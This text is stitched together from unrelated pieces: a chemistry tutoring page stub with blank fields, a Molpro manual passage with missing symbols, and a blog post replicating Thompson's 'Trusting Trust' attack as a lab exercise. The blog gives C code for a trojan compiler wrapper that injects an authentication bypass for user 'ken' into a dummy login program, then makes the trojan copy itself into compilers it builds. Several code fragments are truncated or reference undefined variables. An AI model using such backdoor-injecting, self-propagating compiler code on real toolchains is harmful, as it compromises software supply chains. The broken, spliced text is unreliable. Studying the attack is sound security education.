What is the molar mass of the gas?

What scientific concept do you need to know in order to solve this problem?

Our tutors have indicated that to solve this problem you will need to apply the The Ideal Gas Law: Molar Mass concept. You can view video lessons to learn The Ideal Gas Law: Molar Mass Or if you need more The Ideal Gas Law: Molar Mass practice, you can also practice The Ideal Gas Law: Molar Mass practice problems .

How long does this problem take to solve?

Our expert Chemistry tutor, Kaitlyn took 5 minutes to solve this problem. You can follow their steps in the video explanation above.

What textbook is this problem found in?

Our data indicates that this problem or a close variation was asked in . You can also practice practice problems .


text:
## 50.3 Input file

An input file should be supplied in xyz format containing the Cartesian coordinates (in Ångstroms) of the beads used to initialize the instanton optimization. A rate calculation requires beads, whereas a tunnelling-splitting calculation requires . The first line contains the number of atoms in the system and the second has two numbers: , the number of beads, and , temperature in Kelvin (for the case of a rate calculation) or , the reciprocal temperature in atomic units (for the case of a tunnelling-splittings calculation). These two lines appear before the coordinates of each bead which are given one atom per line including the element symbol.

molpro@molpro.net 2019-03-18


text:
Beyond awesome | 越而胜己

In Ken Thompson's famous paper Reflections on Trusting Trust, he introduced an attack that went undetected in the C compiler, which allowed the hacked compiler to compile compromised UNIX login commands. If you haven't read this paper yet, I strongly recommend that you take a look. In this post, we will replicate Thompson's attack on a dummy login program.

The wonderful part of the Thompson Hack is that it creates a rogue compiler that infects all its children. Even when the initial rogue compiler compiles clean source code of a compiler, the compiled compiler is still hacked, and will continue to generate hacked binaries. And these rogue compilers
can go undetected, because their source code is clean. Ken Thompson quoted this attack to make the point that "No amount of source-level verification or scrutiny will protect you from using untrusted code."

The starter code was part of Stanford's CS240lx labs created by Dr. Dawson Engler. You can find the lab files here in the course repo. You can find my implementation of the Thompson Attack here.

## Step 1: A Self-Replicating Program

The first step toward a Thompson Attack involves creating a quine, or a self-reproducing program. To be more specific, a quine is a program that when run prints out its own source code.

An example is shown in Fig 1 of the Trusting Trust paper. Our quine is actually a bit different from Thompson's example:

char s[] = {
47,
/* lines omitted */
10,
0
};

/* Even with some comments. */

#include <stdio.h>

int main() {
int i;

printf("char s[] = {\n");
for(i = 0; s[i]; i++)
printf("\t%d,\n", s[i]);
printf("\t0\n};\n\n");
printf("%s", s);
return 0;
}

We will look at how we can generate such a quine.

The quine consists of two parts: the char s[] definition and the main body. The contents of s[] is the second part of the program, starting from /* Even to the final }.

To create such a program, we start from the main body, defined in step1/seed.c:

/* Even with some comments. */

#include <stdio.h>

int main() {
int i;

printf("char s[] = {\n");
for(i = 0; s[i]; i++)
printf("\t%d,\n", s[i]);
printf("\t0\n};\n\n");
printf("%s", s);
return 0;
}

Note that seed.c by itself is not legal code. The definition of s[] is missing, and we will write some code to generate it.

We write another program, step1/string-to-char-array.c, that takes input from stdin, and prints out a snippet of C code that defines a char[] named s, whose content is the same as the input.

// convert the contents of stdin to their ASCII values (e.g.,
// '\n' = 10) and spit out the <prog> array used in Figure 1 in
// Thompson's paper.
#include <stdio.h>

int main(void) {
printf("char s[] = {\n");
int c;
while ((c = fgetc(stdin)) != EOF) {
printf("\t%d,\n", c);
}
printf("\t0\n};\n\n");
return 0;
}

We can now generate the char[] representation for our seed.c. By combining these two snippets (the char[] representation of seed.c and seed.c itself), we can obtain a quine replicate.c:

# Compile string-to-char-array.c
gcc -Og -g -Wall string-to-char-array.c -o string-to-char-array

# Convert seed.c to its char[] definition
./string-to-char-array < seed.c > replicate.c

# Append seed.c itself. Now we have the quine replicate.c.
cat seed.c >> replicate.c

When replicate.c is run, it will first print out its own char s[] definition, and then print out the content of s, which is just the content of seed.c.

We can compile and run replicate.c and see if it really outputs itself:

# Compile replicate.c
gcc -Og -g -Wall replicate.c -o replicate

# Run replicate
./replicate > kid.c

# The output should be exactly replicate.c's source
diff replicate.c kid.c

kid.c and replicate.c should be identical.

## Step 2 - Hacking the "Compiler"

The second step of Thompson's attack is hacking the compiler. In Thompson's paper, he actually modified an actual C compiler to inject code into the UNIX login program. In our replication, we will also target a specific program step2/login.c, but we will not be touching gcc itself. Instead, we will "hack" a wrapper of gcc.

The wrapper is defined in step2/identity-cc.c. The program simply makes a copy of the source code (input) and throws the copy to gcc without changing it. We will hack this "compiler" by making it change the source code while copying it.

Specifically, in step2/trojan-cc1.c, we will scan for the line int login(char *user) { in the source code, and inject this line below it to skip authentication if the username is ken:

    if (strcmp(user, "ken") == 0) return 1;

Simple enough. But besides simply doing this, we also want to hack the compiler, such that when we use the hacked compiler to compile a new compiler, the compiled new compiler will also be hacked. We will leave this part to step 3 as it's fairly complicated. In this step, we will simply add a printf statement when compiling a compiler, inside the compile function.

The compile function in step2/trojan-cc1.c looks like this:

static void compile(char *program, char *outname) {
FILE *fp = fopen("./temp-out.c", "w");
assert(fp);

static char compile_sig[] =
"static void compile(char *program, char *outname) {\n"
"    FILE *fp = fopen(\"./temp-out.c\", \"w\");\n"
"    assert(fp);"
;
// inject this after the assert.  not much of an attack.   this is just a quick placeholder.
static char compile_attack[] = "printf(\"%s:%d: could have run your attack here!!\\n\", __FUNCTION__, __LINE__);";

static char login_attack[] = "if(strcmp(user, \"ken\") == 0) return 1;";

// detect the xxx_sig substrings,
// insert the xxx_attack after it

fprintf(fp, "%s", program);
fclose(fp);

// gross, call gcc.
char buf[1024];
sprintf(buf, "gcc ./temp-out.c -o %s", outname);
if(system(buf) != 0)
error("system failed\n");
}

To insert the login_attack code, we simply do some ugly C string manipulation:

    char *login_sig_loc = strstr(program, login_sig);
static char tmp[8*1024*1024 + 1];
}

After doing this, we can compile a hacked login program with our hacked compiler step2/trojan-cc1.c:

# First compile our hacked compiler using gcc
gcc -Og -g -Wall -Wno-unused-variable trojan-cc1.c -o trojan-cc1

# Compile login.c with our hacked trojan-cc1 compiler

# Run the attacked login program

Now we should be able to log in with the username ken, without needing to enter a password:

user: ken

Naturally the compiler_attack is similar:

    char *compile_sig_loc = strstr(program, compile_sig);
if (compile_sig_loc != NULL) {
static char tmp[8*1024*1024 + 1];
size_t compile_attack_offset = compile_sig_loc - program + strlen(compile_sig);
strcpy(tmp, program + compile_attack_offset);
strcpy(program + compile_attack_offset, compile_attack);
strcpy(program + compile_attack_offset + strlen(compile_attack), tmp);
}

We can do the same thing to compile our identity compiler identity-cc.c with our trojan-cc1 compiler.

# Compile identity-cc.c with our hacked trojan-cc1 compiler
./trojan-cc1 identity-cc.c -o cc-attacked

# Use the attacked compiler program to compile login.c

We can see our printf message being printed:

compile:18: could have run your attack here!!

This is not very interesting. We want the login compiled with cc-attacked to also have the ability to inject code, but currently cc-attacked does nothing special other than printing out this message.

We will look at how to make cc-attacked do these more evil things in the next step.

## Step 3 - Making the "Compiler" Self-Replicating

In step 3, we will develop a more powerful version of step2/trojan-cc1.c, named step3/trojan-cc2.c. As described in the previous step, we want to make the new compiler cc-attacked compiled with our trojan-cc2 compiler to also behave like trojan-cc2. In other words, we want trojan-cc2's children (and grandchildren, greatgrandchildren, etc.) to continue to generate hacked compilers and hacked login programs. This is tricky, and we will use our string-to-char-array technique from step 1.

To achieve this, we will need to insert our attack code from step 2 into the compiler that trojan-cc2 compiles. Instead of injecting a printf statement, we can inject the entire attack code! We place our attack code in step3/attack.c:

    // not a very robust finger-print, but what can you do.
// in a real compiler we would do this match on the parse tree,
// which strips out some non-essential features.
static char compile_sig[] =
"static void compile(char *program, char *outname) {\n"
"    FILE *fp = fopen(\"./temp-out.c\", \"w\");\n"
"    assert(fp);"
;

static char login_attack[] = "if(strcmp(user, \"ken\") == 0) return 1;";

/* your code goes here */
static char tmp[8*1024*1024 + 1];
}

char *compile_sig_loc = strstr(program, compile_sig);
if (compile_sig_loc != NULL) {
static char tmp[8*1024*1024 + 1];
size_t compile_attack_offset = compile_sig_loc - program + strlen(compile_sig);
strcpy(tmp, program + compile_attack_offset);
strcpy(program + compile_attack_offset, compile_attack);
strcpy(program + compile_attack_offset + strlen(compile_attack), tmp);
}

Note that we have removed the definition for compile_attack, since we will be injecting the entire attack code instead! To be able to inject our attack code, we modify our step1/string-to-char-array.c to become step3/generate-attack-array.c:

// convert the contents of stdin to their ASCII values (e.g.,
// '\n' = 10) and spit out the <prog> array used in Figure 1 in
// Thompson's paper.
#include <stdio.h>

int main(void) {
printf("static char compile_attack[] = {\n");
int c;
while ((c = fgetc(stdin)) != EOF) {
printf("\t%d,\n", c);
}
printf("\t0\n};\n\n");
return 0;
}

With this, we can convert our attack code into a char[] definition. Now we can simply #include it in our attack code:

// make #include appear on new line
#include "attack-array.h"
// not a very robust finger-print, but what can you do.
// in a real compiler we would do this match on the parse tree,
// which strips out some non-essential features.
static char compile_sig[] =
"static void compile(char *program, char *outname) {\n"
"    FILE *fp = fopen(\"./temp-out.c\", \"w\");\n"
"    assert(fp);"
;

static char login_attack[] = "if(strcmp(user, \"ken\") == 0) return 1;";

/* your code goes here */
static char tmp[8*1024*1024 + 1];
}

char *compile_sig_loc = strstr(program, compile_sig);
if (compile_sig_loc != NULL) {
static char tmp[8*1024*1024 + 1];
size_t compile_attack_offset = compile_sig_loc - program + strlen(compile_sig);
strcpy(tmp, program + compile_attack_offset);
strcpy(program + compile_attack_offset, compile_attack);
strcpy(program + compile_attack_offset + strlen(compile_attack), tmp);
}

With the new #include macro added, we need to run generate-attack-array again to update our compile_attack definition. Now in our trojan-cc2.c, we can simply include our attack code using #include "attack.c":

static void compile(char *program, char *outname) {
FILE *fp = fopen("./temp-out.c", "w");
assert(fp);

#include "attack.c"

fprintf(fp, "%s", program);
fclose(fp);

// gross, call gcc.
char buf[1024];
sprintf(buf, "gcc ./temp-out.c -o %s", outname);
if(system(buf) != 0)
error("system failed\n");
}

Now what will happen when we compile a clean compiler step2/identity-cc.c is, trojan-cc2 will inject our attack code defined in compile_attack right after the assert. Thus the attack code ends up in the new compiler, and the new compiler is again compromised. The new compiler, still containing the (compiled) attack code, will continue to infect compilers that it compiles.

And now we are done! To verify that it works, we can run the following:

# Compile trojan-cc2.c
gcc -Og -g -Wall -Wno-unused-variable trojan-cc2.c -o trojan-cc2

# Use trojan-cc2 to compile the clean compiler
./trojan-cc2 ../step2/identity-cc.c -o cc-attacked

# Use cc-attacked to compile the clean compiler
./cc-attacked ../step2/identity-cc.c -o cc-attacked2

# Compare the binaries -- it's ok if they don't match,
# as long as the next step works!
diff cc-attacked cc-attacked2

# Compile the login program with cc-attacked2

And when we enter ken as the username, we log in successfully!

user: ken